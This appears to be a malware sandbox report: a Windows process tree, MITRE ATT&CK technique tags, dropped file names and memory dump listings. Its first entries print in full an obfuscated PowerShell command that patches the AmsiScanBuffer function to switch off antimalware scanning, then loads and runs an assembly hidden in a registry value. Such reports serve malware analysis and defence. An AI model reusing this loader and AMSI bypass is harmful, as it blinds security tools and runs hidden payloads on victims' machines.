C:\PROGRA~1\F85A~1\X86\Update.exeC:\PROGRA~1\F85A~1\X86\Update.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:IAcUSKIVbXkG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kkgdkJWJstTsCA,[Parameter(Position=1)][Type]$GaYAyLvwjR)$ikjVKhMKrZL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+'M'+[Char](101)+''+'m'+''+'o'+'r'+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'','C'+'l'+''+[Char](97)+''+'s'+'s'+[Char](44)+''+'P'+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+'C'+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$ikjVKhMKrZL.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+'pe'+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kkgdkJWJstTsCA).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+'ed');$ikjVKhMKrZL.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+'H'+'i'+'d'+[Char](101)+''+[Char](66)+'yS'+[Char](105)+''+'g'+''+','+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+'l'+[Char](111)+''+'t'+',V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+'',$GaYAyLvwjR,$kkgdkJWJstTsCA).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+'me'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $ikjVKhMKrZL.CreateType();}$cmKunTFdcMOnk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+'e'+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+'s'+'o'+[Char](102)+'t'+'.'+''+'W'+'i'+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+'s'+'a'+''+'f'+''+[Char](101)+''+[Char](78)+'at'+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+'s');$DfSuJGybZZDeGx=$cmKunTFdcMOnk.GetMethod('G'+[Char](101)+'t'+[Char](80)+'ro'+[Char](99)+''+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+'e'+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+',S'+[Char](116)+''+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jbyMnHNbGoKLqvLHFfj=IAcUSKIVbXkG @([String])([IntPtr]);$LNPTaOVLImgQEDxLPtzgGR=IAcUSKIVbXkG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lUNnoRAuMiY=$cmKunTFdcMOnk.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$rYCLosBWKhwroU=$DfSuJGybZZDeGx.Invoke($Null,@([Object]$lUNnoRAuMiY,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+'L'+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$eyDzKVRMqpDablzkN=$DfSuJGybZZDeGx.Invoke($Null,@([Object]$lUNnoRAuMiY,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+''+'u'+''+'a'+'lP'+'r'+'o'+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$oPZLoHY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rYCLosBWKhwroU,$jbyMnHNbGoKLqvLHFfj).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+'.'+[Char](100)+'ll');$dNAyMFeedzTDnXvDr=$DfSuJGybZZDeGx.Invoke($Null,@([Object]$oPZLoHY,[Object](''+'A'+'ms'+[Char](105)+''+[Char](83)+''+'c'+'an'+[Char](66)+'uff'+'e'+'r')));$ZiDbuKDdlk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eyDzKVRMqpDablzkN,$LNPTaOVLImgQEDxLPtzgGR).Invoke($dNAyMFeedzTDnXvDr,[uint32]8,4,[ref]$ZiDbuKDdlk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dNAyMFeedzTDnXvDr,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eyDzKVRMqpDablzkN,$LNPTaOVLImgQEDxLPtzgGR).Invoke($dNAyMFeedzTDnXvDr,[uint32]8,0x20,[ref]$ZiDbuKDdlk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('d'+[Char](105)+''+[Char](97)+''+[Char](108)+'er'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3ecdc2fb-01eb-4524-8c14-6137fa0e5d7e}1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x258,0x25c,0x260,0x254,0x2cc,0x7ffc3fc3c188,0x7ffc3fc3c194,0x7ffc3fc3c1a03⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1712,i,16247818063576882241,2319632441635009314,262144 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1820,i,13578590052945355137,14651735315890272320,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:33⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2396,i,6680893999463245420,782276175164926064,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3408,i,12753695736446311804,39679030067929170,2097152 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3436,i,11592531780739605649,6170574916397534748,2097152 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5132,i,11291868024967845503,14443740491705276197,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,3495496181119939062,9616583388649154843,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5892,i,1560626093010843441,16713741482504897593,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5892,i,1560626093010843441,16713741482504897593,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,1821138072642453666,12865346330790444123,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,8633295874528582667,13456340255981294860,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6440,i,6855471920178069610,15200119579828864740,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6460,i,3347886938015937471,690718287642908424,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6544,i,3786565561733389553,11056344694696050179,524288 --field-trial-handle=2356,i,16934033342317773761,18206738979005130748,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:83⤵
-
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{eb35a149-0cb4-4d74-bbd4-fe174390f9e9}1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Modify Authentication Process
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
TIF.ico
KZReport.exe
KuaiZip.exe
Synaptics.exe
settings.dat
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
Network Persistent State
SCT Auditing Pending Reports
Preferences
Secure Preferences
the-real-index
the-real-index~RFe591dee.TMP
Local State
Local State
Local State
Local State
settings.dat
settings.dat
BrowsingTopicsState
the-real-index
the-real-index~RFe5a0f72.TMP
SiteList-Enterprise.json
HubApps
Network Persistent State
Sdch Dictionaries
Preferences
Preferences
Preferences
Secure Preferences
Secure Preferences
the-real-index
the-real-index~RFe59e47a.TMP
the-real-index
index.txt
the-real-index
sync_diagnostic.log
CURRENT
MANIFEST-000001
Local State
Local State
Local State
Local State
Local State
Local State
3256621f3c706ccdf5802b36fb5c35251d354aed0d31ac9fc8eb7d7239312e55
metadata.json
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
._cache_Synaptics.exe
1209-47a2-9ead-c1b4.tmp
365VPN7.exe
E4285E00
1223.exe
GMSSetupX86.exe
NAMUVPN7.exe
TempSpoofer.exe
WxWorkMultiOpen.exe
center.exe
delfino-g3-sha2.exe
haozip.convertimg.exe
main1.exe
pm3100.exe
self-injection.exe
setup.exe
up.exe
Login Data
CenterRun.exe
SeetrolCenter.exe
Seetrol_Cnt.exe
drmclien.dll
wmasf.dll
wmidx.dll
wmvcore.dll
VCRUNTIME140.dll
_ctypes.pyd
api-ms-win-core-console-l1-1-0.dll
base_library.zip
libffi-8.dll
python312.dll
ucrtbase.dll
__PSScriptPolicyTest_42wz5lku.ibx.ps1
gSNb5gWK.xlsm
System.dll
bootstrap_27226.html
main.css
Loader.gif
System.dll
Seetrol Center.lnk
SeetrolCenterEx.cfg
02.08.2022.exe
Doublepulsar-1.3.1.exe
HDDrive1095_XinAnPlug3030_20230619_inno.exe
KuaiZip_Setup_-808202126_xiaopeng2_001.exe
LOIC.exe
Loader.exe
QUpdate.exe
STHealthUpdate.exe
Software.exe
XClient.exe
chrome_144.exe
file.exe
order_pdf.exe
qcoin133.exe
qcoin133.exe
setup.exe
standalone_payload.exe
memory/700-1384-0x00007FF60BCD0000-0x00007FF60CC37000-memory.dmp
memory/700-1548-0x00007FF60BCD0000-0x00007FF60CC37000-memory.dmp
memory/700-889-0x00007FF60BCD0000-0x00007FF60CC37000-memory.dmp
memory/864-690-0x0000000000C40000-0x0000000000C4C000-memory.dmp
memory/864-530-0x0000000000490000-0x000000000049E000-memory.dmp
memory/1016-366-0x0000000000400000-0x0000000000500000-memory.dmp
memory/1016-365-0x0000000000400000-0x0000000000500000-memory.dmp
memory/1016-368-0x0000000000400000-0x0000000000500000-memory.dmp
memory/1016-605-0x0000000000400000-0x0000000000500000-memory.dmp
memory/1016-571-0x0000000000400000-0x0000000000500000-memory.dmp
memory/1232-603-0x0000000000F30000-0x0000000000F3B000-memory.dmp
memory/1372-402-0x0000000000400000-0x000000000043B000-memory.dmp
memory/1876-546-0x0000000000400000-0x0000000000487000-memory.dmp
memory/1876-620-0x0000000000400000-0x0000000000487000-memory.dmp
memory/1968-1601-0x000002065ADC0000-0x000002065ADDC000-memory.dmp
memory/1968-1608-0x000002065ADB0000-0x000002065ADB8000-memory.dmp
memory/1968-1614-0x0000020673740000-0x000002067374A000-memory.dmp
memory/1968-1613-0x000002065ADE0000-0x000002065ADE6000-memory.dmp
memory/1968-1607-0x0000020673760000-0x000002067377A000-memory.dmp
memory/1968-1606-0x000002065ADA0000-0x000002065ADAA000-memory.dmp
memory/1968-1597-0x000002065AD80000-0x000002065AD9C000-memory.dmp
memory/1968-4607-0x0000000000A60000-0x0000000000A70000-memory.dmp
memory/1968-1600-0x000002065AD70000-0x000002065AD7A000-memory.dmp
memory/1968-1598-0x0000020673540000-0x00000206735F5000-memory.dmp
memory/2440-661-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2440-657-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2440-660-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2440-668-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2440-670-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2440-695-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2440-671-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2440-672-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2440-656-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2484-618-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/2484-367-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/2484-130-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/2484-409-0x00000000045E0000-0x000000000461B000-memory.dmp
memory/2556-527-0x0000000031720000-0x0000000032348000-memory.dmp
memory/2556-235-0x0000000031720000-0x0000000032348000-memory.dmp
memory/2556-615-0x0000000031720000-0x0000000032348000-memory.dmp
memory/2844-354-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2844-338-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2844-370-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2844-550-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2844-378-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2844-356-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2844-369-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2844-351-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2844-379-0x00000000006D0000-0x00000000011B8000-memory.dmp
memory/2944-569-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2944-585-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2944-576-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2944-621-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2944-583-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2944-587-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2944-584-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2944-581-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/2944-577-0x00000000009E0000-0x00000000014C8000-memory.dmp
memory/3216-601-0x0000000002DB0000-0x0000000002DB1000-memory.dmp
memory/3216-609-0x0000000007670000-0x0000000007671000-memory.dmp
memory/3216-443-0x0000000000A50000-0x0000000000A51000-memory.dmp
memory/3460-137-0x00007FFC34070000-0x00007FFC34080000-memory.dmp
memory/3460-140-0x00007FFC34070000-0x00007FFC34080000-memory.dmp
memory/3460-141-0x00007FFC31B70000-0x00007FFC31B80000-memory.dmp
memory/3460-139-0x00007FFC34070000-0x00007FFC34080000-memory.dmp
memory/3460-138-0x00007FFC34070000-0x00007FFC34080000-memory.dmp
memory/3460-136-0x00007FFC34070000-0x00007FFC34080000-memory.dmp
memory/3460-145-0x00007FFC31B70000-0x00007FFC31B80000-memory.dmp
memory/3796-572-0x00007FFC49670000-0x00007FFC49689000-memory.dmp
memory/3796-643-0x00007FFC49810000-0x00007FFC49834000-memory.dmp
memory/3796-552-0x00007FFC49810000-0x00007FFC49834000-memory.dmp
memory/3796-553-0x00007FFC49690000-0x00007FFC4980F000-memory.dmp
memory/3796-578-0x00007FFC49030000-0x00007FFC49559000-memory.dmp
memory/3796-579-0x00007FFC49560000-0x00007FFC4962D000-memory.dmp
memory/3796-591-0x00007FFC5DF20000-0x00007FFC5DF45000-memory.dmp
memory/3796-590-0x00007FFC48A90000-0x00007FFC48BAA000-memory.dmp
memory/3796-589-0x00007FFC65010000-0x00007FFC6501D000-memory.dmp
memory/3796-588-0x00007FFC48CC0000-0x00007FFC48CD4000-memory.dmp
memory/3796-575-0x00007FFC49630000-0x00007FFC49663000-memory.dmp
memory/3796-586-0x00007FFC49AA0000-0x00007FFC4A165000-memory.dmp
memory/3796-574-0x00007FFC65C40000-0x00007FFC65C4D000-memory.dmp
memory/3796-570-0x00007FFC64C50000-0x00007FFC64C6A000-memory.dmp
memory/3796-646-0x00007FFC65C40000-0x00007FFC65C4D000-memory.dmp
memory/3796-645-0x00007FFC49670000-0x00007FFC49689000-memory.dmp
memory/3796-644-0x00007FFC49690000-0x00007FFC4980F000-memory.dmp
memory/3796-551-0x00007FFC49840000-0x00007FFC4986D000-memory.dmp
memory/3796-642-0x00007FFC65010000-0x00007FFC6501D000-memory.dmp
memory/3796-641-0x00007FFC65D30000-0x00007FFC65D3F000-memory.dmp
memory/3796-640-0x00007FFC49840000-0x00007FFC4986D000-memory.dmp
memory/3796-631-0x00007FFC49630000-0x00007FFC49663000-memory.dmp
memory/3796-528-0x00007FFC65D30000-0x00007FFC65D3F000-memory.dmp
memory/3796-529-0x00007FFC5DF20000-0x00007FFC5DF45000-memory.dmp
memory/3796-639-0x00007FFC64C50000-0x00007FFC64C6A000-memory.dmp
memory/3796-511-0x00007FFC49AA0000-0x00007FFC4A165000-memory.dmp
memory/3796-633-0x00007FFC49030000-0x00007FFC49559000-memory.dmp
memory/3796-634-0x00007FFC48CC0000-0x00007FFC48CD4000-memory.dmp
memory/3796-582-0x000002A498FD0000-0x000002A4994F9000-memory.dmp
memory/3796-638-0x00007FFC49560000-0x00007FFC4962D000-memory.dmp
memory/3796-622-0x00007FFC49AA0000-0x00007FFC4A165000-memory.dmp
memory/3796-636-0x00007FFC48A90000-0x00007FFC48BAA000-memory.dmp
memory/3796-637-0x00007FFC5DF20000-0x00007FFC5DF45000-memory.dmp
memory/4160-410-0x00007FF659A70000-0x00007FF659AA5000-memory.dmp
memory/4224-406-0x00000000064C0000-0x0000000006582000-memory.dmp
memory/4224-407-0x00000000066B0000-0x00000000066EB000-memory.dmp
memory/4224-405-0x0000000005760000-0x00000000057D4000-memory.dmp
memory/4224-133-0x0000000000FE0000-0x0000000000FE8000-memory.dmp
memory/4224-134-0x00000000058C0000-0x000000000595C000-memory.dmp
memory/4300-1-0x00000000004A0000-0x00000000004A1000-memory.dmp
memory/4300-0-0x0000000000680000-0x0000000000681000-memory.dmp
memory/4300-127-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4300-128-0x0000000004720000-0x000000000475B000-memory.dmp
memory/4576-1850-0x0000029399490000-0x00000293994BA000-memory.dmp
memory/4668-416-0x0000000005DB0000-0x0000000005E72000-memory.dmp
memory/4668-654-0x0000000005DB0000-0x0000000005E72000-memory.dmp
memory/4668-415-0x0000000005050000-0x00000000050C4000-memory.dmp
memory/4668-417-0x00000000060F0000-0x000000000612B000-memory.dmp
memory/4952-580-0x0000000002D00000-0x0000000002D0C000-memory.dmp
memory/4952-275-0x0000000000DA0000-0x0000000000DC8000-memory.dmp
memory/4972-206-0x0000000002A20000-0x0000000002A5B000-memory.dmp
memory/4972-205-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/5084-321-0x0000000000400000-0x0000000000416000-memory.dmp
memory/5084-396-0x00000000005F0000-0x000000000062B000-memory.dmp
memory/5084-397-0x0000000000400000-0x0000000000416000-memory.dmp
memory/5300-1410-0x0000023675520000-0x0000023675542000-memory.dmp
memory/5336-681-0x0000000005B60000-0x0000000005C22000-memory.dmp
memory/5336-506-0x0000000005B60000-0x0000000005C22000-memory.dmp
memory/5336-507-0x0000000005ED0000-0x0000000005F0B000-memory.dmp
memory/5336-505-0x0000000004E50000-0x0000000004EC4000-memory.dmp
memory/5836-934-0x0000000004B30000-0x00000000050D4000-memory.dmp
memory/5836-1018-0x0000000005810000-0x000000000581A000-memory.dmp
memory/5836-1023-0x0000000007DB0000-0x0000000007DC0000-memory.dmp
